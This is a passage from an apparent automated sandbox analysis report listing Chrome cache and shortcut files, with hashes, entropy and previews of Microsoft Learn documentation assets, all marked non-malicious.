Preview:	L..................F.@.. ...$+.,.....RfY3X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:45:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992384980784543
Encrypted:	false
SSDEEP:	48:8odIcToAH1wHsWidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbyy+yT+:8HcMYnZT/TbxWOvTbyy7T
MD5:	E428967C76B9BC3DA08806AD661A95B1
SHA1:	8A5428421C440528FCC493140771B1EE2CB8F0D3
SHA-256:	F35FCAB929DC0AFBEF13B55739310597DCE8E81D651AC2A545499AF8DAD2681B
SHA-512:	D97C7F99B6768AF2563D8E4A377B1F4B612A757FFFC5901C8763277637E2E08DBC5ABF309349F468F5097C6E842A1D7B65604E19CB399141CB6FD436C25547D9
Malicious:	false
Preview:	L..................F.@.. ...$+.,......LY3X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
